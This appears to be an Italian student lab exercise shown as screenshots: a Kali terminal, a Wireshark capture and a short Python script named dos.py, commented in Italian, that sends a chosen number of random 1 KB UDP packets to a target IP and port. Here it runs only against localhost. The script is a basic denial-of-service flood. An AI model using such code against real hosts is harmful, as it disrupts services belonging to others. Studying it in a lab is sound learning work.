



Capturing from any

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
2	0.000023325	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
3	0.000037577	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
4	0.000042752	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
5	0.000047916	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
6	0.000053807	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
7	0.000059246	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
8	0.000071528	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
9	0.000094313	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
10	0.000099495	127.0.0.1	127.0.0.1	UDP	1068	1111 → 1111 Len=1024
11	39.105766607	fe80::a00:27ff:fe21...	ff02::2	ICMPv6	72	Router Solicitation from 08:00:27:21:b1:d0

Frame 6: 1068 bytes on wire (8544 bits), 1068 bytes captured  
Linux cooked capture v1  
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1  
User Datagram Protocol, Src Port: 1111, Dst Port: 1111  
Data (1024 bytes)

any: <live capture in progress>

Packets: 11 · Displayed: 11 (100.0%) Profile: Default

File Actions Edit View Help

```
(kali@kali)-[~]  
$ python dos.py  
python: can't open file '/home/kali/dos.py': [Errno 2] No such file or directory
```

```
(kali@kali)-[~]  
$ cd Desktop/Esercizi
```

```
(kali@kali)-[~/Desktop/Esercizi]  
$ python dos.py  
ip target :127.0.0.1  
porta target:1111  
quanti pacchetti vuoi inviare?1
```

```
(kali@kali)-[~/Desktop/Esercizi]  
$ python dos.py  
ip target :127.0.0.1  
porta target:1111  
quanti pacchetti vuoi inviare?10
```

```
(kali@kali)-[~/Desktop/Esercizi]  
$
```

~/Desktop/Esercizi/dos.py - Mousepad

File Edit Search View Document Help

```
1 import socket #richiamiamo le librerie da utilizzare  
2 import random  
3 SRV_ADRS=(input("ip target :")) # riga 3 e 4 impostiamo l'ip e la porta target su cui ci vogliamo inviare dati  
4 SRV_PRT=int(input("porta target:"))  
5 server_address=(SRV_ADRS,SRV_PRT) # definiamo la variabile  
6 s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #richiamiamo la libreria socket e avviamo il comando .socket con le  
   impostazioni dell'UDP  
7 s.bind(server_address) #associamo il comando alla variabile(riga 5)  
8 num_pacchetti = int(input("quanti pacchetti vuoi inviare?")) #indichiamo quanti pacchetti vogliamo inviare( in questo caso un Kb)  
9 for x in range(num_pacchetti): #decidiamo il numero di pacchetti da inviare  
10     pacchetto = random.randbytes(1024) #il comando crea un pacchetto da 1024 con dati randomici  
11     s.sendto(pacchetto,server_address) #i dati vengono mandati all'indirizzo ip e alla porta scelti in precedenza  
12
```